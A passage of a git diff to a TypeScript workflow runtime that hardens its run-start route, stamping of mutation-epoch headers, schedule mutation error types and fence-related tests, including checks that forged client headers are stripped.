-//   terminate: authenticate -> catalog -> ownership -> coarse role -> workflow
-//              role
-//
-// and the suspension bridge: a start that suspends queues its approval
-// attributed to the STARTING actor, so that actor cannot later decide their own
-// run (separation of duties).
-//
-// The resume route deliberately carries NO grants. A forged `resumeData.approved`
-// can flip a workflow boolean, but capability comes only from the server-derived
-// grant the runtime mints per leg (approval-api/grants.ts), so a side-effecting
-// step re-checks and fails closed. Approve through the queue, not this route.
+// Connector approval comes from stored decisions, not client resume data.
 
+import { captureActorContext } from '../approval-api/actor-context.js';
 import {
   type ActorContext,
   ActorResolutionError,
@@ -32,24 +11,31 @@ import {
   type ExecutionPrincipalKind,
   RUN_START_ROLES,
 } from '../approval-api/index.js';
+import {
+  assertNoReservedExecutionContext,
+  ReservedExecutionContextError,
+} from '../do-runner/execution-context.js';
 import {
   beginIdempotentStart,
   DoStatusError,
   type ExecutionFenceWiring,
   InvalidRunRequestError,
+  type PersistedStartResult,
   RunAlreadyExistsError,
   RunLifecycleBlockedError,
   RunNotSuspendedError,
   type RunSummary,
   RunTerminalConflictError,
   requireStartIdempotency,
-  rollbackFencedStart,
+  StartIdempotencyUnsupportedError,
   type StartIdempotencyWiring,
   type StartReservation,
+  type StartReservationReading,
   UnknownRunError,
   UnknownWorkflowError,
 } from '../do-runner/index.js';
 import { readBoundedBody } from '../http-body.js';
+import { internalErrorResponse } from '../internal-error-response.js';
 import { queueApprovalForSuspension } from './approval-bridge.js';
 import { requireResourceAccess } from './resource-access.js';
 import { RunRouteError } from './run-route-error.js';
@@ -121,6 +107,7 @@ export interface RunRouterOptions {
     context: ActorContext,
     workflowId: string,
     inputData: unknown,
+    requestContext: Record<string, unknown> | undefined,
   ) => Promise<void>;
   /** Host policy that must pass immediately before a validated raw resume. */
   beforeResume?: (
@@ -174,6 +161,10 @@ export type RunRouterStartIdempotency =
        * runtime's own `isRunActive`.
        */
       live: (workflowId: string, runId: string) => Promise<boolean>;
+      persistedStart: (
+        workflowId: string,
+        runId: string,
+      ) => Promise<PersistedStartResult<RunSummary> | undefined>;
       /**
        * The deployment execution fence, so a REPLAY can re-assert a proof-only
        * fence's binding to the run this key already made.
@@ -192,9 +183,12 @@ export type RunRouterStartIdempotency =
     };
 
 export interface RunStartInput {
+  readonly startReservation?: StartReservationReading;
+  readonly mutationEpoch?: number;
   workflowId: string;
   runId: string;
   inputData: unknown;
+  requestContext?: Record<string, unknown>;
   /** Full trusted identity stamped onto the target Durable Object request. */
   principal: ExecutionPrincipal;
   /** Present only for a target-verifiable schedule fire. */
@@ -217,6 +211,7 @@ interface StartBody {
   workflowId?: string;
   runId?: string;
   inputData?: unknown;
+  requestContext?: Record<string, unknown>;
   deadlineMs?: unknown;
   /**
    * A caller-chosen key that makes this start exactly-once for this caller.
@@ -244,6 +239,9 @@ function json(payload: unknown, status = 200): Response {
 }
 
 function errorResponse(error: unknown): Response {
+  if (error instanceof ReservedExecutionContextError) {
+    return json({ error: error.message, reason: 'reserved-context-key' }, 400);
+  }
   if (error instanceof RunRouteError) {
     return json(
       {
@@ -277,11 +275,6 @@ function errorResponse(error: unknown): Response {
   if (error instanceof InvalidRunRequestError) {
     return json({ error: error.message }, 400);
   }
-  // Every refusal this package authors on the taxonomy's own base renders with
-  // its declared status and reason — the reservation family among them. Placed
-  // LAST so the named branches above keep their exact shapes, and typed against
-  // the base rather than against each reservation class so a refusal added
-  // later cannot arrive here as an anonymous 500.
   if (error instanceof DoStatusError) {
     const { status } = error;
     if (Number.isInteger(status) && status >= 400 && status <= 599) {
@@ -294,10 +287,7 @@ function errorResponse(error: unknown): Response {
       );
     }
   }
-  return json(
-    { error: error instanceof Error ? error.message : String(error) },
-    500,
-  );
+  return internalErrorResponse('runs', error);
 }
 
 const MAX_RUN_BODY_BYTES = 1_048_576;
@@ -347,18 +337,16 @@ interface IdempotentStartResult {
 async function startIdempotently(
   options: RunRouterOptions,
   context: ActorContext,
+  principal: ExecutionPrincipal,
+  mutationEpoch: number | undefined,
   workflowId: string,
   body: StartBody,
   rawKey: unknown,
 ): Promise<IdempotentStartResult> {
   const wiring = options.startIdempotency;
-  // `requireStartIdempotency` turns the opt-out into the published refusal. A
-  // key on an unwired host is never ignored: honouring it silently would be an
-  // exactly-once promise this deployment cannot keep.
-  const store = requireStartIdempotency(
-    wiring === 'none' ? 'none' : wiring.store,
-  );
-  const live = wiring === 'none' ? undefined : wiring.live;
+  if (wiring === 'none') throw new StartIdempotencyUnsupportedError();
+  const store = requireStartIdempotency(wiring.store);
+  const live = wiring.live;
   const decision = await beginIdempotentStart<RunSummary>(
     store,
     {
@@ -367,8 +355,8 @@ async function startIdempotently(
       // the check as whatever the JSON parser actually produced.
       key: rawKey,
       owner: {
-        kind: context.principal.kind,
-        id: context.principal.id,
+        kind: principal.kind,
+        id: principal.id,
       },
       targetKind: 'workflow',
       targetId: workflowId,
@@ -376,38 +364,35 @@ async function startIdempotently(
     },
     {
       persisted: async (reservation: StartReservation) =>
-        options.status(workflowId, reservation.runId),
+        wiring.persistedStart(workflowId, reservation.runId),
       live: async (reservation: StartReservation) =>
-        live ? live(workflowId, reservation.runId) : false,
+        live(workflowId, reservation.runId),
     },
-    wiring === 'none' ? undefined : wiring.executionFence,
+    wiring.executionFence,
+    mutationEpoch,
   );
   if (decision.kind === 'replay') {
     return { summary: decision.persisted, replayed: true };
   }
   const { runId, key } = decision.reservation;
-  try {
-    return {
-      summary: await options.start({
-        workflowId,
-        runId,
-        inputData: body.inputData,
-        principal: context.principal,
-        idempotencyKey: key,
-        ...(body.deadlineMs === undefined
-          ? {}
-          : { deadlineMs: body.deadlineMs as number }),
-      }),
-      replayed: false,
-    };
-  } catch (error) {
-    // Only a fence refusal gives the claim back — see rollbackFencedStart. A
-    // deployment that closed its fence between the claim and the start executed
-    // nothing, so holding the claim would turn an operator's drain into a
-    // permanently poisoned key; anything else may have executed, and giving the
-    // claim back there would hand the next retry a second run.
-    return rollbackFencedStart(store, key, runId, error);
-  }
+  return {
+    summary: await options.start({
+      workflowId,
+      runId,
+      inputData: body.inputData,
+      ...(body.requestContext === undefined
+        ? {}
+        : { requestContext: body.requestContext }),
+      principal,
+      mutationEpoch,
+      idempotencyKey: key,
+      startReservation: decision.reservation,
+      ...(body.deadlineMs === undefined
+        ? {}
+        : { deadlineMs: body.deadlineMs as number }),
+    }),
+    replayed: false,
+  };
 }
 
 export function createRunRouter(options: RunRouterOptions): RunRouter {
@@ -425,8 +410,14 @@ export function createRunRouter(options: RunRouterOptions): RunRouter {
     if (url.pathname !== '/workflows' && segments[0] !== 'runs') return null;
 
     try {
-      const context = await resolve(request);
-      if (!context) return json({ error: 'authentication required' }, 401);
+      const resolved = await resolve(request);
+      if (!resolved) return json({ error: 'authentication required' }, 401);
+      const context =
+        request.method === 'POST' &&
+        segments[0] === 'runs' &&
+        segments.length === 1
+          ? captureActorContext(resolved)
+          : resolved;
       const actor = context.actor;
 
       if (request.method === 'GET' && url.pathname === '/workflows') {
@@ -458,8 +449,40 @@ export function createRunRouter(options: RunRouterOptions): RunRouter {
         if (!RUN_START_ROLES.includes(actor.role)) {
           return json({ error: 'forbidden' }, 403);
         }
-        const body = (await readJson(request)) as StartBody | null;
-        if (!body || typeof body.workflowId !== 'string') {
+        const { principal, mutationEpoch } = context;
+        const parsed = (await readJson(request)) as StartBody | null;
+        if (!parsed) return json({ error: 'workflowId is required' }, 400);
+        const forbidden = [
+          'startReservation',
+          'mutationEpoch',
+          'startIdentity',
+          'agentStart',
+          'execution',
+          'tablePrefix',
+          'startToken',
+          'attemptToken',
+          'runOwnerGuard',
+          'onPreparedStartIdentity',
+        ].find((field) => Object.hasOwn(parsed, field));
+        if (forbidden !== undefined) {
+          return json({ error: `field '${forbidden}' is not allowed` }, 400);
+        }
+        const {
+          workflowId: startTarget,
+          idempotencyKey,
+          deadlineMs,
+          inputData,
+          requestContext,
+          runId: suppliedRunId,
+        } = parsed;
+        const body: StartBody = {
+          workflowId: startTarget,
+          idempotencyKey,
+          deadlineMs,
+          inputData,
+          runId: suppliedRunId,
+        };
+        if (typeof startTarget !== 'string') {
           return json({ error: 'workflowId is required' }, 400);
         }
         // A client may never choose the runId. 400 (not silent override) so a
@@ -467,9 +490,9 @@ export function createRunRouter(options: RunRouterOptions): RunRouter {
         if (body.runId !== undefined) {
           return json({ error: 'runId is server-assigned' }, 400);
         }
-        const meta = metaFor(body.workflowId);
+        const meta = metaFor(startTarget);
         if (!meta) {
-          return json({ error: `unknown workflow '${body.workflowId}'` }, 404);
+          return json({ error: `unknown workflow '${startTarget}'` }, 404);
         }
         // Per-workflow RBAC: a workflow may restrict who can START it — a finer
         // gate than the coarse "can start any run" check above.
@@ -477,16 +500,32 @@ export function createRunRouter(options: RunRouterOptions): RunRouter {
         if (allowedRoles && !allowedRoles.includes(actor.role)) {
           return json(
             {
-              error: `role '${actor.role}' may not start '${body.workflowId}'`,
+              error: `role '${actor.role}' may not start '${startTarget}'`,
             },
             403,
           );
         }
-        await options.beforeStart?.(context, body.workflowId, body.inputData);
-        const startTarget = body.workflowId;
-        // Unkeyed starts take the path they always took: mint, start, answer.
-        // Keyed starts route through the reservation, which decides whether
-        // this request starts a run or reports one that already exists.
+        if (requestContext !== undefined) {
+          if (
+            typeof requestContext !== 'object' ||
+            requestContext === null ||
+            Array.isArray(requestContext)
+          ) {
+            throw new RunRouteError(
+              400,
+              'requestContext must be an object',
+              'reserved-context-key',
+            );
+          }
+          assertNoReservedExecutionContext(requestContext);
+        }
+        body.requestContext = requestContext;
+        await options.beforeStart?.(
+          context,
+          startTarget,
+          inputData,
+          requestContext,
+        );
         const { summary, replayed } =
           body.idempotencyKey === undefined
             ? {
@@ -494,7 +533,11 @@ export function createRunRouter(options: RunRouterOptions): RunRouter {
                   workflowId: startTarget,
                   runId: context.newRunId(),
                   inputData: body.inputData,
-                  principal: context.principal,
+                  ...(body.requestContext === undefined
+                    ? {}
+                    : { requestContext: body.requestContext }),
+                  principal,
+                  mutationEpoch,
                   ...(body.deadlineMs === undefined
                     ? {}
                     : { deadlineMs: body.deadlineMs as number }),
@@ -504,6 +547,8 @@ export function createRunRouter(options: RunRouterOptions): RunRouter {
             : await startIdempotently(
                 options,
                 context,
+                principal,
+                mutationEpoch,
                 startTarget,
                 body,
                 body.idempotencyKey,
@@ -539,7 +584,7 @@ export function createRunRouter(options: RunRouterOptions): RunRouter {
         try {
           approvals = await queueApprovalForSuspension(
             context.service(),
-            body.workflowId,
+            startTarget,
             summary,
             actor.id,
             systemPrincipalId,
@@ -548,7 +593,7 @@ export function createRunRouter(options: RunRouterOptions): RunRouter {
           console.error(
             JSON.stringify({
               type: 'approval-filing-error',
-              workflowId: body.workflowId,
+              workflowId: startTarget,
               runId: summary.runId,
               error: error instanceof Error ? error.message : String(error),
             }),
diff --git a/packages/flowsafe/src/host-kit/thread-topology.test.ts b/packages/flowsafe/src/host-kit/thread-topology.test.ts
index 1ffa2c08..cb6470af 100644
--- a/packages/flowsafe/src/host-kit/thread-topology.test.ts
+++ b/packages/flowsafe/src/host-kit/thread-topology.test.ts
@@ -6,7 +6,11 @@ import {
   type ExecutionPrincipal,
   principalActor,
 } from '../approval-api/index.js';
-import { EXECUTION_PRINCIPAL_HEADER } from '../do-runner/index.js';
+import {
+  EXECUTION_PRINCIPAL_HEADER,
+  InvalidMutationEpochError,
+  MUTATION_EPOCH_HEADER,
+} from '../do-runner/index.js';
 import {
   createThreadTopology,
   type ThreadNamespaceLike,
@@ -62,6 +66,94 @@ function harness() {
   };
 }
 
+describe('C thread epoch transport', () => {
+  it('C thread send deletes an absent epoch header', async () => {
+    const { topology, hits } = harness();
+    await topology.send(context(), 'thread-1', '/start', {
+      method: 'POST',
+      body: '{"prompt":"hello"}',
+      headers: {
+        'X-Flowsafe-Mutation-Epoch': '7',
+        [MUTATION_EPOCH_HEADER]: '8',
+      },
+    });
+    expect(
+      new Headers(hits[0]?.init?.headers).get(MUTATION_EPOCH_HEADER),
+    ).toBeNull();
+    expect(hits[0]?.init?.body).toBe('{"prompt":"hello"}');
+  });
+
+  it('C thread forward deletes an absent epoch header', async () => {
+    const { topology, hits } = harness();
+    const request = new Request('https://host/stream', {
+      headers: {
+        Upgrade: 'websocket',
+        'X-Flowsafe-Mutation-Epoch': '7',
+        [MUTATION_EPOCH_HEADER]: '8',
+      },
+    });
+    await topology.forward(context(), 'thread-1', request);
+    const forwarded = hits[0]?.request as Request;
+    expect(forwarded.headers.get(MUTATION_EPOCH_HEADER)).toBeNull();
+    expect(forwarded.headers.get('upgrade')).toBe('websocket');
+    expect(request.headers.get(MUTATION_EPOCH_HEADER)).toBe('7, 8');
+  });
+
+  it.each([
+    0,
+    Number.MAX_SAFE_INTEGER,
+  ])('C stamps both thread transports with canonical epoch %s', async (mutationEpoch) => {
+    const { topology, hits } = harness();
+    const trusted = { ...context(), mutationEpoch };
+    await topology.send(trusted, 'thread-1', '/start', {
+      headers: {
+        'X-Flowsafe-Mutation-Epoch': 'forged',
+        [MUTATION_EPOCH_HEADER]: '8',
+      },
+      body: '{"prompt":"hello"}',
+    });
+    const request = new Request('https://host/start', {
+      method: 'POST',
+      headers: { [MUTATION_EPOCH_HEADER]: 'forged' },
+      body: 'payload',
+    });
+    await topology.forward(trusted, 'thread-1', request);
+    expect(new Headers(hits[0]?.init?.headers).get(MUTATION_EPOCH_HEADER)).toBe(
+      String(mutationEpoch),
+    );
+    const forwarded = hits[1]?.request as Request;
+    expect(forwarded.headers.get(MUTATION_EPOCH_HEADER)).toBe(
+      String(mutationEpoch),
+    );
+    expect(await forwarded.text()).toBe('payload');
+    expect(request.headers.get(MUTATION_EPOCH_HEADER)).toBe('forged');
+  });
+
+  it.each([
+    null,
+    '2',
+    true,
+    -1,
+    0.5,
+    NaN,
+    Infinity,
+    Number.MAX_SAFE_INTEGER + 1,
+  ])('C invalid thread epoch refuses before namespace lookup (%s)', async (mutationEpoch) => {
+    const { topology, namespace, hits } = harness();
+    const get = vi.spyOn(namespace, 'get');
+    const trusted = { ...context(), mutationEpoch } as ActorContext;
+    await expect(
+      topology.send(trusted, 'thread-1', '/start'),
+    ).rejects.toBeInstanceOf(InvalidMutationEpochError);
+    await expect(
+      topology.forward(trusted, 'thread-1', new Request('https://host/')),
+    ).rejects.toBeInstanceOf(InvalidMutationEpochError);
+    expect(namespace.idFromName).not.toHaveBeenCalled();
+    expect(get).not.toHaveBeenCalled();
+    expect(hits).toEqual([]);
+  });
+});
+
 describe('createThreadTopology', () => {
   it('stamps the canonical human principal and strips retired identity headers', async () => {
     const { topology, hits } = harness();
diff --git a/packages/flowsafe/src/host-kit/thread-topology.ts b/packages/flowsafe/src/host-kit/thread-topology.ts
index 485c32f3..0daa44f9 100644
--- a/packages/flowsafe/src/host-kit/thread-topology.ts
+++ b/packages/flowsafe/src/host-kit/thread-topology.ts
@@ -28,7 +28,9 @@ import {
 import {
   deploymentIdentityHeaders,
   EXECUTION_PRINCIPAL_HEADER,
+  normalizeMutationEpoch,
   stampDeploymentIdentityRequest,
+  stampMutationEpoch,
 } from '../do-runner/index.js';
 import { requireMemoryId } from './memory-boundary.js';
 
@@ -62,7 +64,10 @@ export interface ThreadRequestInit {
   body?: string;
 }
 
-export type ThreadPrincipalContext = Pick<ActorContext, 'principal'>;
+export type ThreadPrincipalContext = Pick<
+  ActorContext,
+  'principal' | 'mutationEpoch'
+>;
 
 /** A standing-memory target that must resolve to a durable thread binding. */
 export interface BoundThreadTarget {
@@ -129,10 +134,12 @@ export function createThreadTopology<Id>(
   // 404 would escape past the very handler meant to map it.
   return {
     send: async (context, threadId, path, init = {}) => {
+      const principal = stampedPrincipal(context);
+      const mutationEpoch = normalizeMutationEpoch(context.mutationEpoch);
       // Merge through Headers so the stamp wins by case-insensitive name. A
       // plain-object spread can preserve duplicate case variants instead.
       const merged = new Headers(init.headers);
-      const principal = stampedPrincipal(context);
+      stampMutationEpoch(merged, mutationEpoch);
       merged.set(
         EXECUTION_PRINCIPAL_HEADER,
         encodeExecutionPrincipal(principal),
@@ -152,6 +159,8 @@ export function createThreadTopology<Id>(
       });
     },
     forward: async (context, threadId, request) => {
+      const principal = stampedPrincipal(context);
+      const mutationEpoch = normalizeMutationEpoch(context.mutationEpoch);
       const threadName = addressed(threadId);
       // A cloned Request has MUTABLE headers where an inbound one does not, so
       // this is what lets the overwrite happen at all — and `set` (not `append`)
@@ -161,7 +170,7 @@ export function createThreadTopology<Id>(
         request,
         deploymentIdentitySecret,
       );
-      const principal = stampedPrincipal(context);
+      stampMutationEpoch(forwarded.headers, mutationEpoch);
       // Retired identity headers: nothing reads them, but a client's forged
       // value must not ride into the DO as if the topology had stamped it.
       forwarded.headers.delete('x-flowsafe-actor');
diff --git a/packages/flowsafe/src/internal-error-response.ts b/packages/flowsafe/src/internal-error-response.ts
index 7b85c1ba..3dce32cf 100644
--- a/packages/flowsafe/src/internal-error-response.ts
+++ b/packages/flowsafe/src/internal-error-response.ts
@@ -1,7 +1,11 @@
 // SPDX-License-Identifier: Apache-2.0
 
 function errorText(error: unknown): string {
-  return error instanceof Error ? error.message : String(error);
+  try {
+    return String(error instanceof Error ? error.message : error);
+  } catch {
+    return 'unreadable error';
+  }
 }
 
 /** Package-internal catch-all for public HTTP routes. */
@@ -10,13 +14,18 @@ export function internalErrorResponse(
   error: unknown,
   status: 500 | 502 = 500,
 ): Response {
-  console.error(
-    JSON.stringify({
-      type: 'route-internal-error',
-      route,
-      error: errorText(error),
-    }),
-  );
+  try {
+    console.error(
+      JSON.stringify({
+        type: 'route-internal-error',
+        route,
+        error: errorText(error),
+      }),
+      error,
+    );
+  } catch {
+    // Diagnostic failure cannot prevent the HTTP response.
+  }
   return new Response(JSON.stringify({ error: 'internal error' }), {
     status,
     headers: {
diff --git a/packages/flowsafe/src/schedules/index.ts b/packages/flowsafe/src/schedules/index.ts
index 9b3cc828..10a6c734 100644
--- a/packages/flowsafe/src/schedules/index.ts
+++ b/packages/flowsafe/src/schedules/index.ts
@@ -1,10 +1,12 @@
 // SPDX-License-Identifier: Apache-2.0
-// Track D (M-006) — schedules: the D1 domain, the CAS tick, and the authenticated
-// facade. Subpath-only (`@proofoftech/flowsafe/schedules`), like agent-runner /
-// background-tasks / signals / goals: host-side wiring a consumer opts into, not
-// in the root barrel.
+export {
+  FENCED_SCHEDULE_STORAGE,
+  type FencedScheduleMutationCapability,
+  ScheduleMutationConflictError,
+  ScheduleMutationOutcomeUnknownError,
+  type ScheduleResumeMutation,
+} from './mutation-contract.js';
 
-// The facade router (CI-M-006-003).
 export {
   createScheduleRouter,
   type ScheduleFacadeStore,
@@ -14,7 +16,6 @@ export {
   type ScheduleRouter,
   type ScheduleRouterOptions,
 } from './router.js';
-// The D1 schedules storage domain (CI-M-006-001).
 export {
   D1SchedulesStorage,
   parseScheduleAgentDispatchReceipt,
@@ -38,7 +39,6 @@ export {
   scheduleCreatorRole,
   scheduleWithCreatorRole,
 } from './target-policy.js';
-// The CAS tick (CI-M-006-002).
 export {
   type AgentScheduleTarget,
   buildScheduledLegContext,
diff --git a/packages/flowsafe/src/schedules/mutation-contract.ts b/packages/flowsafe/src/schedules/mutation-contract.ts
new file mode 100644
index 00000000..733e053f
--- /dev/null
+++ b/packages/flowsafe/src/schedules/mutation-contract.ts
@@ -0,0 +1,73 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { Schedule, ScheduleUpdate } from '@mastra/core/storage';
+import type { ResourceOwner } from '../approval-api/resource-ownership.js';
+import { DoStatusError } from '../do-runner/do-status-error.js';
+import type { MutationEpochContext } from '../do-runner/execution-admission.js';
+import type { SignalDatabase } from '../signals/d1-shared.js';
+import type { AuthorizedSchedule } from './target-policy.js';
+
+export const FENCED_SCHEDULE_STORAGE: unique symbol = Symbol(
+  'flowsafe.fencedScheduleStorage',
+);
+
+export interface ScheduleResumeMutation {
+  readonly expectedCron: Schedule['cron'];
+  readonly expectedTimezone: Schedule['timezone'];
+  readonly nextFireAt: Schedule['nextFireAt'];
+}
+
+/** Epoch activation can race a waiting request, so this contract applies before activation. */
+export interface FencedScheduleMutationCapability {
+  readonly database: SignalDatabase & Required<Pick<SignalDatabase, 'batch'>>;
+  createOwnedSchedule(
+    schedule: AuthorizedSchedule,
+    owner: ResourceOwner,
+    maxSchedules: number,
+    context: MutationEpochContext,
+  ): Promise<Schedule | null>;
+  updateSchedule(
+    id: string,
+    patch: ScheduleUpdate,
+    context: MutationEpochContext,
+  ): Promise<Schedule>;
+  pauseSchedule(id: string, context: MutationEpochContext): Promise<Schedule>;
+  resumeSchedule(
+    id: string,
+    mutation: ScheduleResumeMutation,
+    context: MutationEpochContext,
+  ): Promise<Schedule>;
+  deleteOwnedSchedule(
+    id: string,
+    context: MutationEpochContext,
+  ): Promise<'deleted' | 'pending'>;
+  observeScheduleMutation(
+    id: string,
+    operation: 'pause' | 'resume',
+    context: MutationEpochContext,
+  ): Promise<Schedule | null>;
+}
+
+export class ScheduleMutationConflictError extends DoStatusError {
+  readonly status = 409;
+  readonly reason: {
+    readonly code: 'SCHEDULE_MUTATION_CONFLICT';
+    readonly classification: 'fence-changed' | 'schedule-changed';
+  };
+
+  constructor(classification: 'fence-changed' | 'schedule-changed') {
+    super('schedule mutation conflicted with a concurrent change');
+    this.name = 'ScheduleMutationConflictError';
+    this.reason = { code: 'SCHEDULE_MUTATION_CONFLICT', classification };
+  }
+}
+
+export class ScheduleMutationOutcomeUnknownError extends DoStatusError {
+  readonly status = 503;
+  readonly reason = { code: 'SCHEDULE_MUTATION_OUTCOME_UNKNOWN' } as const;
+
+  constructor(options?: ErrorOptions) {
+    super('schedule mutation outcome is unknown', options);
+    this.name = 'ScheduleMutationOutcomeUnknownError';
+  }
+}
diff --git a/packages/flowsafe/src/schedules/router.test.ts b/packages/flowsafe/src/schedules/router.test.ts
index c51f6b3f..2406ebce 100644
--- a/packages/flowsafe/src/schedules/router.test.ts
+++ b/packages/flowsafe/src/schedules/router.test.ts
@@ -8,7 +8,7 @@ import type {
   ScheduleTrigger,
   ScheduleUpdate,
 } from '@mastra/core/storage';
-import { describe, expect, it, vi } from 'vitest';
+import { afterEach, describe, expect, it, vi } from 'vitest';
 
 import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
 
@@ -17,21 +17,40 @@ import {
   ActorResolutionError,
   type ActorResolver,
   type ApprovalRole,
+  createActorResolver,
+  D1ApprovalStoreFactory,
   type ResourceOwner,
 } from '../approval-api/index.js';
 import {
   type ExecutionFenceDatabase,
+  ExecutionFencedError,
   ExecutionFenceStore,
+  ExecutionFenceUnreadableError,
+  InvalidMutationEpochError,
+  MutationEpochMismatchError,
 } from '../do-runner/index.js';
 import { RunRouteError } from '../host-kit/index.js';
+import {
+  FENCED_SCHEDULE_STORAGE,
+  type FencedScheduleMutationCapability,
+  ScheduleMutationConflictError,
+  ScheduleMutationOutcomeUnknownError,
+} from './mutation-contract.js';
 import {
   createScheduleRouter as createScheduleRouterImpl,
   type ScheduleFacadeStore,
   type ScheduleRouteAuditEvent,
+  type ScheduleRouter,
   type ScheduleRouterOptions,
 } from './router.js';
+import { D1SchedulesStorage, type ScheduleDatabase } from './schedules-d1.js';
 import type { ScheduleTargetPolicy } from './target-policy.js';
-import { createScheduleTargetPolicy } from './target-policy.js';
+import {
+  createScheduleTargetPolicy,
+  scheduleWithCreatorRole,
+} from './target-policy.js';
+
+afterEach(() => vi.restoreAllMocks());
 
 const TARGET_POLICY = createScheduleTargetPolicy({
   workflows: [{ id: 'wf' }],
@@ -167,6 +186,27 @@ interface Harness {
   ) => Promise<{ status: number; body: Record<string, unknown> }>;
 }
 
+function routerCaller(router: ScheduleRouter): Harness['call'] {
+  return async (method, path, body) => {
+    const res = await router(
+      new Request(`http://host${path}`, {
+        method,
+        ...(body !== undefined
+          ? {
+              headers: { 'content-type': 'application/json' },
+              body: JSON.stringify(body),
+            }
+          : {}),
+      }),
+    );
+    if (!res) throw new Error(`router returned null for ${method} ${path}`);
+    return {
+      status: res.status,
+      body: (await res.json()) as Record<string, unknown>,
+    };
+  };
+}
+
 function harness(
   context: ActorContext | undefined,
   overrides: {
@@ -177,7 +217,6 @@ function harness(
     targetPolicy?: ScheduleTargetPolicy;
     audit?: ScheduleRouterOptions['audit'];
     validateThreadTarget?: ScheduleRouterOptions['validateThreadTarget'];
-    executionFence?: ScheduleRouterOptions['executionFence'];
   } = {},
 ): Harness {
   const store = new MemStore();
@@ -205,26 +244,9 @@ function harness(
     ...(overrides.validateThreadTarget !== undefined
       ? { validateThreadTarget: overrides.validateThreadTarget }
       : {}),
-    // 'none' is the honest wiring for MemStore — no database, nothing to fence.
-    // The fence cases below pass a real store.
-    executionFence: overrides.executionFence ?? 'none',
+    executionFence: 'none',
   });
-  const call = async (method: string, path: string, body?: unknown) => {
-    const res = await router(
-      new Request(`http://host${path}`, {
-        method,
-        ...(body !== undefined
-          ? {
-              headers: { 'content-type': 'application/json' },
-              body: JSON.stringify(body),
-            }
-          : {}),
-      }),
-    );
-    if (!res) throw new Error(`router returned null for ${method} ${path}`);
-    const parsed = (await res.json()) as Record<string, unknown>;
-    return { status: res.status, body: parsed };
-  };
+  const call = routerCaller(router);
   return { store, events, call };
 }
 
@@ -332,6 +354,7 @@ describe('createScheduleRouter — create', () => {
     expect(store.owners.has(schedule.id)).toBe(true);
     expect(logged).toHaveBeenCalledWith(
       expect.stringContaining('schedule.route-audit-error'),
+      expect.objectContaining({ message: 'audit unavailable' }),
     );
     logged.mockRestore();
   });
@@ -1022,65 +1045,19 @@ describe('createScheduleRouter and the deployment execution fence', () => {
     expect(build).toBeTypeOf('function');
   });
 
-  async function drainingFence(): Promise<ExecutionFenceStore> {
-    const fence = new ExecutionFenceStore(
-      sqliteUnitDatabase(openSqlite()) as ExecutionFenceDatabase,
-    );
-    await fence.seed('draining');
-    return fence;
-  }
-
-  function unreadableFence(): ExecutionFenceStore {
-    // Storage that faults on every query — NOT the "no such table" a pre-0.20
-    // database answers with, which legitimately reads as open.
-    return new ExecutionFenceStore({
-      prepare: () => ({
-        bind: () => ({
-          bind: () => {
-            throw new Error('unreachable');
-          },
-          run: () => Promise.reject(new Error('D1_ERROR: network')),
-          all: () => Promise.reject(new Error('D1_ERROR: network')),
-        }),
-        run: () => Promise.reject(new Error('D1_ERROR: network')),
-        all: () => Promise.reject(new Error('D1_ERROR: network')),
-      }),
-    } as unknown as ExecutionFenceDatabase);
-  }
-
   it('degrades a mutation closed with 503 when the fence cannot be read', async () => {
-    // #given
-    const { store, call } = harness(ctx('acme', 'operator'), {
-      executionFence: unreadableFence(),
-    });
-
-    // #then — never the generic 500: an operator must be able to tell a
-    // deployment being migrated from a broken one, and the write did not land.
-    const res = await call('POST', '/api/schedules', WORKFLOW_CREATE);
+    const h = await fencedHarness();
+    h.sqlite.exec('DELETE FROM flowsafe_execution_fence');
+    const res = await h.call('POST', '/api/schedules', WORKFLOW_CREATE);
     expect(res.status).toBe(503);
     expect(res.body.reason).toEqual({ code: 'EXECUTION_FENCE_UNREADABLE' });
-    expect(store.m.size).toBe(0);
+    await expect(h.store.listSchedules()).resolves.toEqual([]);
   });
 
   it('refuses create, update, and resume once the deployment is draining', async () => {
-    // #given
-    const executionFence = await drainingFence();
-    const { store, events, call } = harness(ctx('acme', 'operator'), {
-      executionFence,
-    });
-    store.m.set('s1', {
-      id: 's1',
-      target: { type: 'workflow', workflowId: 'wf', inputData: {} },
-      cron: '*/5 * * * *',
-      status: 'paused',
-      nextFireAt: 0,
-      createdAt: 0,
-      updatedAt: 0,
-      metadata: {},
-    } as Schedule);
-
-    // #when / #then — every operation that ARMS a future fire is refused with
-    // the taxonomy's retryable status and code.
+    const { store, events, call, fence } = await fencedHarness();
+    await store.createSchedule(scheduleRow('paused'));
+    await fence.transition({ expected: 'open', next: 'draining' });
     for (const [method, path, body] of [
       ['POST', '/api/schedules', WORKFLOW_CREATE],
       ['PATCH', '/api/schedules/s1', { cron: '*/10 * * * *' }],
@@ -1093,35 +1070,1055 @@ describe('createScheduleRouter and the deployment execution fence', () => {
         state: 'draining',
       });
     }
-    expect(store.m.size).toBe(1);
+    await expect(store.listSchedules()).resolves.toHaveLength(1);
     expect(
       events.filter((event) => event.reason === 'execution-fenced'),
     ).toHaveLength(3);
   });
 
   it('keeps pause, delete, and every read available while draining', async () => {
-    // #given — pause and delete TAKE WORK AWAY, which is the direction a drain
-    // is going, and a read moves nothing.
-    const executionFence = await drainingFence();
-    const { store, call } = harness(ctx('acme', 'operator'), {
-      executionFence,
-    });
-    store.m.set('s1', {
-      id: 's1',
-      target: { type: 'workflow', workflowId: 'wf', inputData: {} },
-      cron: '*/5 * * * *',
-      status: 'active',
-      nextFireAt: 0,
-      createdAt: 0,
-      updatedAt: 0,
-      metadata: {},
-    } as Schedule);
-
-    // #then
+    const { store, call, fence } = await fencedHarness();
+    await store.createSchedule(scheduleRow());
+    await fence.transition({ expected: 'open', next: 'draining' });
     expect((await call('GET', '/api/schedules')).status).toBe(200);
     expect((await call('GET', '/api/schedules/s1')).status).toBe(200);
     expect((await call('POST', '/api/schedules/s1/pause')).status).toBe(200);
     expect((await call('DELETE', '/api/schedules/s1')).status).toBe(200);
+    await expect(store.listSchedules()).resolves.toEqual([]);
+  });
+});
+
+function scheduleRow(status: Schedule['status'] = 'active'): Schedule {
+  return {
+    id: 's1',
+    target: { type: 'workflow', workflowId: 'wf', inputData: {} },
+    cron: '*/5 * * * *',
+    status,
+    nextFireAt: 300_000,
+    createdAt: 10,
+    updatedAt: 20,
+    metadata: {},
+  };
+}
+
+async function fencedHarness(context: ActorContext = ctx('acme', 'operator')) {
+  const sqlite = openSqlite();
